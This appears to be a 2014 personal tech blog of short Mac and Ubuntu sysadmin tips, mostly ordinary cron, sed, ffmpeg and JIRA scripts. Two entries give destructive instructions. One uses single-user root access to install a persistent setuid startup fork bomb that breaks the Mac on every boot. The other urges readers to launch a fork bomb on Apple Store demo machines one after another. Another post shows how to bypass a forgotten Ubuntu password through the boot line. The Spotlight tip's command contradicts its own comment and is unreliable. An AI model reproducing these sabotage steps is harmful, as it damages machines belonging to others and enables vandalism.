You are viewing jackal

Agnus Dei's Journal

> recent entries
> calendar
> friends
> profile
> previous 20 entries

Wednesday, September 10th, 2014
8:49 pm - How to completely trash a mac (without knowing the root password)
I am not responsible for anyone trashing their mac by doing this. I'm telling you RIGHT NOW, DO NOT DO THIS. It will trash your mac and you will need to boot of rescue media to recover it.

DO NOT DO THIS. ( I warned you. )

I'm serious DO NOT DO THIS !!!!

Step 1- Shutdown the mac

Step 2- Hold down the "COMMAND" and "S" keys together and press the power button. Continue to hold down the "COMMAND" and "S" keys until you are at a root prompt

Step 3- At the prompt type "mount -uw /"

Step 4- You are now root, you can do whatever you want from here. Seriously... anything.

Step 5- Type the following:

cd /Library/StartupItems/
cat > foo.command << EOF
#!/bin/bash
perl -e "fork while fork" &
EOF
chmod +x foo.command
chmod +s foo.command

Step 6- Type "reboot"

(comment on this)

Sunday, September 7th, 2014
12:36 am - completely turn off Spotlight
All spotlight does it index all the files on your mac. When it's indexing it makes your mac run ass slow and there's nothing you can do but wait for it to finish. You'll see mdworker running if you ps to see what's making your mac run so slow.

So all it does it make your mac run extremely slowly, and Spotlight is a terrible and useless part of MacOSX that is easily replaced by QuickSilver which is infinity better.

That said, it's time to kill Spotlight for good:
sudo mdutil -a -i on  # Turn off all indexing.
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.metadata.mds.plist  # Turn off Spotlight.

(1 comment | comment on this)

Friday, September 5th, 2014
11:51 am - calling /bin/date from cron
When making a cron that calls the date command and does math off the date command, you have to escape the %'s else cron will bomb.

In this example, I'm getting the date in milliseconds from EPOC time. Then I'm subtracting 1 hour in milliseconds (3600000) from it. So everything after 1 hour ago. I passed that on to my script (which I've removed from this example to keep it simple):

5 * * * * root AFTERTIME=`expr \`/bin/date +\%s\%3N\` - 3600000` ; echo "AFTER $AFTERTIME" >> /var/log/example_retry.log 

(comment on this)

Tuesday, August 26th, 2014
9:08 am - Non-Greedy Regular Expression (Remove up to first match character)
For some reason this is always hard for me to remember.

Let's say I have some strings of text where each line begins with "something: data" and I just want to remove everything up to the first colon. I might have colons in my actual data so I can't split on colons.

Here's how:

sed 's/^[^:]*://'

What that says is: Starting at the begining of the line (^), match a character not colon until you hit a colon ([^:]*:), then replace it with nothing.

(3 comments | comment on this)

Saturday, August 23rd, 2014
6:22 pm - Viewing your Firefox cookie file
MYCOOKIE=`find ~ -mtime -5 -name cookies.sqlite` # Cookie file used in the last 5 days
TMPFILE=`mktemp /tmp/cookies.sqlite.XXXXXXXXXX`  # just a tmp file to get around the lock
cat "$MYCOOKIE" >> $TMPFILE
sqlite3 -separator '    ' $TMPFILE << EOF > ~/Desktop/cookie.txt
.mode tabs
.header off
select host,
case substr(host,1,1)='.' when 0 then 'FALSE' else 'TRUE' end,
path,
case isSecure when 0 then 'FALSE' else 'TRUE' end,
expiry,
name,
value
from moz_cookies;
EOF


(comment on this)

Tuesday, August 19th, 2014
8:30 am - Passing variable outside of while loop in bash
This is throw away code.

But it shows how to pass a variable outside of a while loop in bash:

find . -type f -size +1000k -print0 | {
while IFS= read -r -d '' file; do
        FOO="$FOO `stat -r "$file" | gawk '{print $8}'| tr '\n' ' '`"   # Return the size without a new line at the end
        FOO="$FOO `echo  \"$file\"`\n"                                  # Return the file name WITH a new line at the end
done
echo -ne "$FOO" | sort -rn      # return sorted results
}

(comment on this)

Monday, August 18th, 2014
7:53 pm - World's simpliest way to crash a mac = a simple fork bomb
Next time you are in an apple store do this:

1- Walk up to a computer and press {apple}+{spacebar}.

2- At the search prompt type "terminal" and press return

3- A terminal window will pop up.

4- At the prompt that appears type---> perl -e "fork while fork" &
and press return.

Walk away from the computer, and do it again on the next one. The computer will appear to be usable, but it's not actually. You've created a fork bomb, and there's really no breaking out of it on a mac without doing a full reboot.

(comment on this)

7:25 pm - Watch tcpdump traffic on your mac
sudo tcpdump -i `ifconfig |egrep -B2 inet.*netmask.*broadcast | head -1| cut -f1 -d:` not port ssh and not port domain

(comment on this)

3:59 pm - No Iodine Ketchup
See.. I'm not as stupid as I look. I've been eating burgers with no ketchup and it's been killing me. So I found that Target sells "No Salt Ketchup", so I had an idea. Add Kosher Salt (no iodine) to "No Salt Ketchup" and wah-lah it's Ketchup that taste good and contains no iodine.

Just keep adding the Kosher Salt and stirring until it taste good. Let your tongue decide when it's had enough salt added.

ketchup-final


Tags:
No Iodine Ketchup
How to make no iodine Ketchup
No Iodine Condiments.

(comment on this)

Friday, August 15th, 2014
8:43 pm - How to fix broken DNS in /etc/resolv.conf under Ubuntu (keeps getting set to 127.0.0.1).
THE PROBLEM

Under Ubuntu it appears the Network Manager ignores the setting for "Address Only" in the GUI and will not honor your entries for DNS servers. This is very annoying is you switch networks a lot. Example, wireless connection, wired connection, VPN... etc.

Instead of your DNS settings you put in the GUI being honored, you keep getting "nameserver 127.0.0.1" each time you switch.

THE SHORT ANSWER

1- Comment out "dns=dnsmasq" from "/etc/NetworkManager/NetworkManager.conf"
2- sudo restart network-manager

THE LONG ANSWER

SEE this thread-> http://askubuntu.com/questions/201603/how-do-i-edit-my-resolv-conf-file-to-fix-wrong-dns-problem

(comment on this)

Friday, August 8th, 2014
11:00 am - How to "burn" Ubuntu to a USB drive using MacOS X
I was having this exact problem, "Unable to scan....error". Here's how to fix that and copy the image:

https://thomashunter.name/blog/how-to-burn-an-iso-to-a-usb-drive-in-osx/

(comment on this)

Wednesday, August 6th, 2014
6:18 pm - Ubuntu "Suspend" causes Wifi to go offline - Fixed
THE PROBLEM

When I would suspend my desktop, and come back the WIFI would no longer come online.

Here's what /var/log/syslog said:

Aug  6 17:56:12 jackal NetworkManager[1702]:  NetworkManager state is now DISCONNECTED
Aug  6 17:56:12 jackal NetworkManager[1702]:  (wlan0) supports 1 scan SSIDs
Aug  6 17:56:12 jackal NetworkManager[1702]:  (wlan0): supplicant interface state: starting -> ready
Aug  6 17:56:12 jackal NetworkManager[1702]:  (wlan0): device state change: unavailable -> disconnected (reason 'supplicant-available') [20 30 42]
Aug  6 17:56:12 jackal NetworkManager[1702]:  Trying to remove a non-existant call id.
Aug  6 17:56:12 jackal kernel: [22544.724766] r8712u: in r8711_wx_set_scan: bDriverStopped=1
Aug  6 17:56:12 jackal kernel: [22544.726297] r8712u: in r8711_wx_set_scan: bDriverStopped=1
Aug  6 17:56:12 jackal NetworkManager[1702]:  (wlan0): supplicant interface state: ready -> disconnected
Aug  6 17:56:12 jackal NetworkManager[1702]:  (wlan0) supports 1 scan SSIDs

THE FIX:
echo SUSPEND_MODULES=\"r8712u\" > /etc/pm/config.d/00sleep_module 
chmod +x /etc/pm/config.d/00sleep_module 
Now I can suspend my computer and come back and it returns online via wifi.

(comment on this)

1:12 am - I HATE COMCAST!
Brad-Allisons-MacBook-Pro:~ ballison$  mtr --report --report-wide --report-cycles 30 www.facebook.com
HOST: Brad-Allisons-MacBook-Pro.local                          Loss%   Snt   Last   Avg  Best  Wrst StDev
  1.|-- 192.168.1.1                                               3.3%    30   85.7  30.4   1.1 164.2  38.3
  2.|-- 66.176.108.1                                              3.3%    30   36.5  52.0  11.4 129.8  25.8
  3.|-- xe-1-2-2-32767-sur06.pompanobeach.fl.pompano.comcast.net 16.7%    30  418.4 114.9  12.9 1012. 217.0
  4.|-- xe-11-0-2-0-sur05.pompanobeach.fl.pompano.comcast.net    10.0%    30  391.4 113.8  16.7 928.1 204.6
  5.|-- te-0-3-0-20-ar01.northdade.fl.pompano.comcast.net         6.7%    30  171.6  36.5  11.9 171.6  33.4
  6.|-- he-2-6-0-0-cr01.miami.fl.ibone.comcast.net                3.3%    30   87.9  34.7  12.8  87.9  19.9
    |  `|-- 68.86.87.73
    |   |-- 68.86.166.153
    |   |-- 68.86.93.81
    |   |-- 68.86.166.157
    |   |-- 68.86.93.85
    |   |-- 68.86.94.253
  7.|-- he-0-13-0-0-cr01.56marietta.ga.ibone.comcast.net          6.7%    30   35.0  61.3  29.6 168.4  35.0
  8.|-- he-0-12-0-0-pe04.56marietta.ga.ibone.comcast.net          0.0%    30   42.7  56.8  27.1 254.2  42.3
  9.|-- as32934-1-c.56marietta.ga.ibone.comcast.net              30.0%    30  816.0 152.9  26.1 816.0 212.6
 10.|-- ???                                                      100.0    30    0.0   0.0   0.0   0.0   0.0
 11.|-- ???                                                      100.0    30    0.0   0.0   0.0   0.0   0.0
 12.|-- edge-star-shv-04-atl1.facebook.com                       20.0%    30  129.1 110.9  25.9 649.0 148.4

(comment on this)

Friday, August 1st, 2014
9:51 am - Parsing JSON returned by JIRA
#---------------------------
# JIRA returns it's data in JSON, 
#   but it's a hash reference inside an array list... so that's pretty confusing.
#----------------------------
use strict;
use Data::Dumper;
use JSON qw( decode_json );

sub get_current_issues {
   my $jira_username="mememe";
   my $jira_password="lalalal";
   my $jira_hostname="jira.mycompany.com";
   ########################################################################################
   # Pull in the current open tickets for this user
   ########################################################################################
   my $jira_url="https://${jira_hostname}/rest/api/2/search?jql=status+%21%3D+Closed+AND+status+%21%3D+Resolved+AND+assignee+%3D+${jira_username}";

   my $current_issues_str=`curl -u $jira_username:$jira_password -X GET -H 'Content-Type: application/json' --insecure --silent $jira_url`;

   my $json = JSON->new->allow_nonref;

   my $obj= $json->decode($current_issues_str);
   foreach ( @{ $obj->{'issues'} }) {
      #print Dumper($_);
      #print $_->{'fields'}->{'description'} . "\n";
      print $_->{'key'} . ": " . $_->{'fields'}->{'summary'} . "\n";
   }
   exit; 
}

(comment on this)

Thursday, July 31st, 2014
2:22 pm - Save time between two runs of a perl script
#!/usr/bin/perl
#
# I need to run SQL to process between two time stamps (in milliseconds) and to prevent processing
# the same data twice, i save the time of the last run and only use the time BETWEEN last run and this run
# but to do that I need to save the time of the last run of this script.  This code does that.
#
use Storable qw/store retrieve/;


my $debug=1;
my $last_run_time;                     # Read this from a saved file
my $this_run_time=`/bin/date +%s%3N`;  # Now time in miliseconds since 1970
chomp ($this_run_time);
my $run_time_file="/var/tmp/this_run_time.dat";

if ( -e $run_time_file ) {
   print "DEBUG: reading in last run time file data\n" if ($debug);
   $last_run_time = $ {retrieve $run_time_file} ;
} else {
   print "DEBUG: no last run time file data to read in. Subtracting 2 hours from now\n" if ($debug);
   $last_run_time = $this_run_time -120000 ;  # subtract 2 hours from now (in milliseconds) if this is the first time running

}

# Debug info
print "DEBUG: LAST RUN TIME = $last_run_time , THIS RUN TIME = $this_run_time \n" if ($debug);

# store the time so we only look at the time since last run
defined store \$this_run_time, $run_time_file or die( "could not save time to '$run_time_file'\n" );

(1 comment | comment on this)

Sunday, July 27th, 2014
1:38 pm - Juggernaut: A Solitaire Game for Magic
I've always wanted a Solitaire game for Magic. And I've had many ideas on how to write one... so this might turn out to be complete twaddle... so here goes.

----

PREREQUISITES:
1- A 60 card deck for playing Magic
2- Dice - you'll need dice (d6's will do).

SET UP:
You are playing against an imaginary opponent. The opponent likes sending Juggernauts at you each turn. He keeps summoning more and more of them and they must attack each round. As per the card, Juggernauts are 5/3 artifact creatures that must attack each round and can not be blocked by walls. You may use face down card backs or dice to represent Juggernauts.


GAME PLAY/RULES:

1- You start the game on your opponents turn. Roll the d6 to see what he does (see below).
2- Your opponent attacks each turn with all creatures he controls.
3- There is no limit to the number of Juggernaunts your opponent may summon.
4- Since your opponent must attack each round if able, he never has untapped creatures to block with. Unless you exchange control with his creatures (like with Switcheroo) in which case sacrifice all non-Juggernaunt creatures your opponent controls during his upkeep and replace each with a Juggernaunt.
5- All other rules of magic are the same. You both start the game with 20 life.


OPPONENTS TURN OPTIONS (PRE COMBAT):
Roll a d6 to determine what your opponent does each turn.

ROLE RESULTS:
1 or 2 - Your opponent puts a Juggernauts token creature into play. It is a copy of the card Juggernaunt except it is a token. It has summoning sickness.

3 or 4- Your opponent does no pre-combat action.

5- YOU PICK 1 from the following (if possible):
a)- Sacrifice an enchantment or artifact you control.
b)- Unsummon a creature you control.

6- YOU PICK 1 from the following (if possible):
a)- Sacrifice a creature you control. Take 4 damage.
b)- Destroy a non-basic land you control. Take 2 damage.

(comment on this)

Friday, July 25th, 2014
10:27 pm - How to get around the Sony Bravia "Connect Not Supported" Bug
Convert the movie down to a lower kb/s

BEFORE:

$ ffmpeg -i my-movie.mp4 2>&1 |egrep "Duration|Stream"
Duration: 01:26:16.58, start: 0.000000, bitrate: 2048 kb/s
Stream #0.0(und): Video: h264 (High), yuv420p, 1920x1040 [PAR 1:1 DAR 24:13], 1950 kb/s, 23.98 fps, 23.98 tbr, 24k tbn, 47.95 tbc
Stream #0.1(eng): Audio: aac, 48000 Hz, stereo, s16, 93 kb/s

AFTER:
$ ffmpeg -i new-my-movie.mp4 2>&1 |egrep "Duration|Stream"
Duration: 01:26:16.58, start: 0.000000, bitrate: 1073 kb/s
Stream #0.0(und): Video: h264 (Main), yuv420p, 1920x1040, 942 kb/s, 23.98 fps, 23.98 tbr, 24k tbn, 47.95 tbc
Stream #0.1(und): Audio: aac, 48000 Hz, stereo, s16, 127 kb/s

(comment on this)

Sunday, July 20th, 2014
11:47 pm - convert-2-m4v.sh script (for mac or linux)
Below is a script I wrote called "convert-2-m4v.sh". It takes any media file format (usually .mkv) and converts it to a m4v for better support for streaming media players (xbox 360, sony media player, whatever)...

It requires you have ffmpeg installed on your mac (change the path to match wherever you installed ffmpeg):
------

#!/bin/bash

echo $1
NAME=`echo $1| rev | cut -d. -f2- |rev`
echo $NAME

/opt/local/binary_downloads/ffmpeg -i $1 -vcodec copy -acodec copy $NAME.m4v


------

Example usage would be, "./convert-2-m4v.sh my-movie.mkv".

That would produce a file named my-movie.m4v .

(comment on this)

Saturday, July 19th, 2014
10:15 pm - How to reset your password on Ubuntu (When you don't know any of the passwords)
1- Boot the server (reboot)

2- Edit the kernel boot line inside grub and add to the end of the string "init=/bin/bash"

3- Once booted run the following command:
mount -o remount,rw /

4- Then you can run passwd on whatever username you want to reset the password

(1 comment | comment on this)

Wednesday, July 2nd, 2014
1:52 pm - Bash Script to list out your current open JIRA tickets (using JIRA API)

#!/bin/bash
JIRA_USERNAME=brad.allison
JIRA_PASSWORD=XXXXXXXXXXXX
JIRA_HOSTNAME="jira.XXXXXXXX.com"
URL="https://${JIRA_HOSTNAME}/rest/api/2/search?jql=status+%21%3D+Closed+AND+status+%21%3D+Resolved+AND+assignee+%3D+${JIRA_USERNAME}"
curl -u $JIRA_USERNAME:$JIRA_PASSWORD -X GET -H 'Content-Type: application/json' --insecure --silent $URL |perl -MData::Dumper -MJSON=from_json -ne'print Dumper(from_json($_))'

(comment on this)


> previous 20 entries
> top of page
LiveJournal.com